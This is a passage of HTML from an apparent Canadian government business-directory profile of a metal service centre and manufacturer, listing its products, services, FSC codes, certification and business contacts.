class="row"> <div class="col-md-5"> <strong> Exporting: </strong> </div> <div class="col-md-7"> Yes &nbsp; </div> </div> <div class="row"> <div class="col-md-5"> <strong> Quality Certification: </strong> </div> <div class="col-md-7"> ISO 9001. </div> </div> <div class="row"> <div class="col-md-5"> <strong> Primary Industry (NAICS): </strong> </div> <div class="col-md-7"> 416210 - Metal Service Centres </div> </div> <div class="row"> <div class="col-md-5"> <strong> Primary Business Activity: </strong> </div> <div class="col-md-7"> Manufacturer / Processor / Producer &nbsp; </div> </div> </section> <!-- Products / Services / Licensing --> <h3 class="page-header"> Product / Service / Licensing </h3> <section class="container-fluid"> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BARS AND RODS NONFERROUS BASE METAL <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BARS AND RODS, IRON AND STEEL <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BEARINGS, ANTIFRICTION, UNMOUNTED <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BEARINGS, MOUNTED <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BEARINGS, PLAIN, UNMOUNTED <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BELTING, DRIVE BELTS, FAN BELTS, AND ACCESSORIES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BLOCKS, TACKLE, RIGGING, AND SLINGS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BOLTS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BUILDING COMPONENTS, PREFABRICATED <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> CIRCUIT BREAKERS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> COIL, FLAT, AND WIRE SPRINGS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> CONNECTORS, ELECTRICAL <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> CONVERTERS, ELECTRICAL, NONROTATING <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> COUPLERS, SPLITTERS, AND MIXERS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> DIESEL ENGINES AND COMPONENTS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> DRAWINGS AND SPECIFICATIONS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ELECTRIC PORTABLE AND HAND LIGHTING EQUIPMENT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ELECTRIC RESISTANCE WELDING EQUIPMENT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ELECTRIC VEHICULAR LIGHTS AND FIXTURES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ELECTRICAL AND ELECTRONIC ASSEMBLIES; BOARDS, CARD <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ELECTRICAL AND ELECTRONIC PROPERTIES MEASURING AND <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ELECTRICAL CONTROL EQUIPMENT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ELECTRICAL HARDWARE AND SUPPLIES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ENGINE AIR AND OIL FILTERS, STRAINERS, AND CLEANER <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ENGINE COOLING SYSTEM COMPONENTS, NONAIRCRAFT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ENGINE ELECTRICAL SYSTEM COMPONENTS, NONAIRCRAFT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ENGINE FUEL SYSTEM COMPONENTS, NONAIRCRAFT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ENGINE INSTRUMENTS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FANS, AIR CIRCULATORS, AND BLOWER EQUIPMENT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC TRANSMITTERS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC ACCESSORIES AND SUPPLIES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC CABLE ASSEMBLIES AND HARNESSES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC CABLES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC CONDUCTORS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC DEVICES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC INTERCONNECTORS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC KITS AND SETS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC MODULATORS/DEMODULATORS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC RECEIVERS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC SENSORS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FILTERS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FITTINGS AND SPECIALITIES: HOSE, PIPE AND TUBE <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> GEARS, PULLEYS, SPROCKETS, AND TRANSMISSION CHAIN <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> HOSE AND TUBING, FLEXIBLE <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> HYDRAULIC AND PNEUMATIC PRESSES, POWER DRIVEN <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> INDIVIDUAL EQUIPMENT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ISCELLANEOUS VEHICULAR COMPONENTS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> LIQUID AND GAS FLOW, LIQUID LEVEL, AND MECHANICAL <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> MISCELLANEOUS ELECTRICAL AND ELECTRONIC COMPONENTS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> MISCELLANEOUS FABRICATED NONMETALLIC MATERIALS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> PIPES AND TUBES, RIGID <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> PLASTICS FABRICATED MATERIALS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> PLATE, SHEET, STRIP AND FOIL; IRON AND STEEL <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> PLATE, SHEET, STRIP, AND FOIL: NONFERROUS BASE MET <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> PREFABRICATED AND PORTABLE BUILDINGS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> PREFABRICATED STRUCTURES - MISC. <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> PRESSURE, TEMPERATURE, AND HUMIDITY MEASURING AND <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> REELS AND SPOOLS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> RIVETS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ROTARY JOINTS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> STORAGE TANKS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> STRUCTURAL SHAPES, IRON AND STEEL <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> STRUCTURAL SHAPES, NONFERROUS BASE METAL <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> SWITCHES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> TOOL AND HARDWARE BOXES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> TRAILERS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> TRUCK AND TRACTOR ATTACHMENTS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> TRUCKS AND TRUCK TRACTORS, WHEELED <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> WIRE AND CABLE, ELECTRICAL <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Service Name: </strong> </div> <div class="col-md-9"> AIR FREIGHT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Service Name: </strong> </div> <div class="col-md-9"> ASSEMBLY AND ERECTION OF PREFABRICATED CONSTRUCTIO <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Service Name: </strong> </div> <div class="col-md-9"> ENGINEERING DRAFTING SERVICES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Service Name: </strong> </div> <div class="col-md-9"> MAINTENANCE, REPAIR, MODIFICATION, REBUILDING AND <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Service Name: </strong> </div> <div class="col-md-9"> VESSEL FREIGHT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> FSC Code: </strong> </div> <div class="col-md-9"> 2320-Trucks and Truck Tractors, Wheeled <br> 2330-Trailers <br> 2590-Miscellaneous Vehicular Components <br> 2815-Diesel Engines and Components <br> 2910-Engine Fuel System Components, Nonaircraft <br> 2920-Engine Electrical System Components, Nonaircraft <br> 2930-Engine Cooling System Components, Nonaircraft <br> 2940-Engine Air and Oil Filters, Strainers, and Cleaners, Nonaircraft <br> 3020-Gears, Pulleys, Sprockets, and Transmission Chain <br> 3030-Belting, Drive Belts, Fan Belts, and Accessories <br> 3110-Bearings, Antifriction, Unmounted <br> 3120-Bearings, Plain, Unmounted <br> 3130-Bearings, Mounted <br> 3432-Electric Resistance Welding Equipment <br> 3442-Hydraulic and Pneumatic Presses, Power Driven <br> 3830-Truck and Tractor Attachments <br> 3940-Blocks, Tackle, Rigging, and Slings <br> 4140-Fans, Air Circulators, and Blower Equipment <br> 4710-Pipes and Tubes, Rigid <br> 4720-Hose and Tubing, Flexible <br> 4730-Fittings and Specialities: Hose, Pipe and Tube <br> 5140-Tool and Hardware Boxes <br> 5306-Bolts <br> 5320-Rivets <br> 5360-Coil, Flat, and Wire Springs <br> 5410-Prefabricated and Portable Buildings <br> 5430-Storage Tanks <br> 5450-PREFABRICATED STRUCTURES - MISC. <br> 5670-Building Components, Prefabricated <br> 5925-Circuit Breakers <br> 5930-Switches <br> 5935-Connectors, Electrical <br> 5975-Electrical Hardware and Supplies <br> 5998-Electrical and Electronic Assemblies; Boards, Cards, and Associated Hardware <br> 5999-Miscellaneous Electrical and Electronic Components <br> 6004-Rotary Joints <br> 6005-Couplers, Splitters, and Mixers <br> 6007-Filters <br> 6010-Fiber Optic Conductors <br> 6015-Fiber Optic Cables <br> 6020-Fiber Optic Cable Assemblies and Harnesses <br> 6025-Fiber Optic Transmitters <br> 6026-Fiber Optic Receivers <br> 6030-Fiber Optic Devices <br> 6034-Fiber Optic Modulators/Demodulators <br> 6040-Fiber Optic Sensors <br> 6060-Fiber Optic Interconnectors <br> 6070-Fiber Optic Accessories and Supplies <br> 6080-Fiber Optic Kits and Sets <br> 6110-Electrical Control Equipment <br> 6130-Converters, Electrical, Nonrotating <br> 6145-Wire and Cable, Electrical <br> 6220-Electric Vehicular Lights and Fixtures <br> 6230-Electric Portable and Hand Lighting Equipment <br> 6620-Engine Instruments <br> 6625-Electrical and Electronic Properties Measuring and Testing Instruments <br> 6680-Liquid and Gas Flow, Liquid Level, and Mechanical Motion Measuring Instruments <br> 6685-Pressure, Temperature, and Humidity Measuring and Controlling Instruments <br> 7650-Drawings and Specifications <br> 8130-Reels and Spools <br> 8465-Individual Equipment <br> 9330-Plastics Fabricated Materials <br> 9390-Miscellaneous Fabricated Nonmetallic Materials <br> 9510-Bars and Rods, Iron and Steel <br> 9515-Plate, Sheet, Strip and Foil; Iron and Steel <br> 9520-Structural Shapes, Iron and Steel <br> 9530-Bars and Rods Nonferrous Base Metal <br> 9535-Plate, Sheet, Strip, and Foil: Nonferrous Base Metal <br> 9540-Structural Shapes, Nonferrous Base Metal <br> C212-Engineering Drafting Services <br> J000-Maintenance, Repair, Modification, Rebuilding and Installation of Goods/Equipment <br> V100-Vessel Freight <br> V200-Air Freight <br> Y514-Assembly and erection of prefabricated constructions <br> </div> </div> </section> <p class="mrgn-tp-lg text-right small hidden-print"> <a href="#wb-cont">top of page</a> </p> <!-- Technology Profile --> <!-- Market Profile --> <!-- Sector Information --> <details class="mrgn-tp-md mrgn-bttm-md"> <summary> Third-Party Information Liability Disclaimer </summary> <p> Some of the information on this Web page has been provided by external sources. The Government of Canada is not responsible for the accuracy, reliability or currency of the information supplied by external sources. Users wishing to rely upon this information should consult directly with the source of the information. Content provided by external sources is not subject to official languages, privacy and accessibility requirements. </p> </details> </details> <details id="details-panel2"> <summary> Contacts </summary> <h2 class="wb-invisible"> Contact information </h2> <!-- Contact Information --> <section class="container-fluid"> <div class="row mrgn-tp-lg"> <div class="col-md-3"> <strong> Ken Black </strong></div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Title: </strong> </div> <div class="col-md-7"> <!--if client gender is not null or empty we use gender based job title--> President </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Area of Responsibility: </strong> </div> <div class="col-md-7"> Management Executive. </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Telephone: </strong> </div> <div class="col-md-7"> (403) 720-7700 </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Facsimile: </strong> </div> <div class="col-md-7"> (403) 720-7750 </div> </div> <div class="row mrgn-tp-lg"> <div class="col-md-3"> <strong> Chris Hauck </strong></div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Title: </strong> </div> <div class="col-md-7"> General Manager<br> </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Telephone: </strong> </div> <div class="col-md-7"> (403) 720-7700 </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Facsimile: </strong> </div> <div class="col-md-7"> (403) 720-7750 </div> </div> <div class="row mrgn-tp-lg"> <div class="col-md-3"> <strong> Gord Gallop </strong></div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Title: </strong> </div> <div class="col-md-7"> Machine Shop Manager<br> </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Telephone: </strong> </div> <div class="col-md-7"> (403) 720-7700 </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Facsimile: </strong> </div> <div class="col-md-7"> (403) 720-7750 </div> </div> <div class="row mrgn-tp-lg"> <div class="col-md-3"> <strong> Matt Johnstone </strong></div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Title: </strong> </div> <div class="col-md-7"> Fabrication Manager<br> </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Telephone: </strong> </div> <div class="col-md-7"> (403) 720-7700 </div> </div> <div class="row mrgn-lft-md"> <div class="col-md-5"> <strong> Facsimile: </strong> </div> <div class="col-md-7"> (403) 720-7750 </div> </div> </section> </details> <details id="details-panel3"> <summary> Description </summary> <h2 class="wb-invisible"> Company description </h2> <section class="container-fluid"> <div class="row"> <div class="col-md-5"> <strong> Country of Ownership: </strong> </div> <div class="col-md-7"> Canada &nbsp; </div> </div> <div class="row"> <div class="col-md-5"> <strong> Exporting: </strong> </div> <div class="col-md-7"> Yes &nbsp; </div> </div> <div class="row"> <div class="col-md-5"> <strong> Quality Certification: </strong> </div> <div class="col-md-7"> ISO 9001. </div> </div> <div class="row"> <div class="col-md-5"> <strong> Primary Industry (NAICS): </strong> </div> <div class="col-md-7"> 416210 - Metal Service Centres </div> </div> <div class="row"> <div class="col-md-5"> <strong> Primary Business Activity: </strong> </div> <div class="col-md-7"> Manufacturer / Processor / Producer &nbsp; </div> </div> </section> </details> <details id="details-panel4"> <summary> Products, services and licensing </summary> <h2 class="wb-invisible"> Product / Service / Licensing </h2> <section class="container-fluid"> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BARS AND RODS NONFERROUS BASE METAL <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BARS AND RODS, IRON AND STEEL <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BEARINGS, ANTIFRICTION, UNMOUNTED <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BEARINGS, MOUNTED <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BEARINGS, PLAIN, UNMOUNTED <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BELTING, DRIVE BELTS, FAN BELTS, AND ACCESSORIES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BLOCKS, TACKLE, RIGGING, AND SLINGS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BOLTS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> BUILDING COMPONENTS, PREFABRICATED <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> CIRCUIT BREAKERS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> COIL, FLAT, AND WIRE SPRINGS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> CONNECTORS, ELECTRICAL <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> CONVERTERS, ELECTRICAL, NONROTATING <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> COUPLERS, SPLITTERS, AND MIXERS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> DIESEL ENGINES AND COMPONENTS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> DRAWINGS AND SPECIFICATIONS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ELECTRIC PORTABLE AND HAND LIGHTING EQUIPMENT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ELECTRIC RESISTANCE WELDING EQUIPMENT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ELECTRIC VEHICULAR LIGHTS AND FIXTURES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ELECTRICAL AND ELECTRONIC ASSEMBLIES; BOARDS, CARD <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ELECTRICAL AND ELECTRONIC PROPERTIES MEASURING AND <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ELECTRICAL CONTROL EQUIPMENT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ELECTRICAL HARDWARE AND SUPPLIES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ENGINE AIR AND OIL FILTERS, STRAINERS, AND CLEANER <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ENGINE COOLING SYSTEM COMPONENTS, NONAIRCRAFT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ENGINE ELECTRICAL SYSTEM COMPONENTS, NONAIRCRAFT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ENGINE FUEL SYSTEM COMPONENTS, NONAIRCRAFT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ENGINE INSTRUMENTS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FANS, AIR CIRCULATORS, AND BLOWER EQUIPMENT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC TRANSMITTERS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC ACCESSORIES AND SUPPLIES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC CABLE ASSEMBLIES AND HARNESSES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC CABLES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC CONDUCTORS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC DEVICES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC INTERCONNECTORS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC KITS AND SETS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC MODULATORS/DEMODULATORS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC RECEIVERS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FIBER OPTIC SENSORS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FILTERS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> FITTINGS AND SPECIALITIES: HOSE, PIPE AND TUBE <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> GEARS, PULLEYS, SPROCKETS, AND TRANSMISSION CHAIN <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> HOSE AND TUBING, FLEXIBLE <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> HYDRAULIC AND PNEUMATIC PRESSES, POWER DRIVEN <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> INDIVIDUAL EQUIPMENT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ISCELLANEOUS VEHICULAR COMPONENTS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> LIQUID AND GAS FLOW, LIQUID LEVEL, AND MECHANICAL <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> MISCELLANEOUS ELECTRICAL AND ELECTRONIC COMPONENTS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> MISCELLANEOUS FABRICATED NONMETALLIC MATERIALS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> PIPES AND TUBES, RIGID <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> PLASTICS FABRICATED MATERIALS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> PLATE, SHEET, STRIP AND FOIL; IRON AND STEEL <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> PLATE, SHEET, STRIP, AND FOIL: NONFERROUS BASE MET <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> 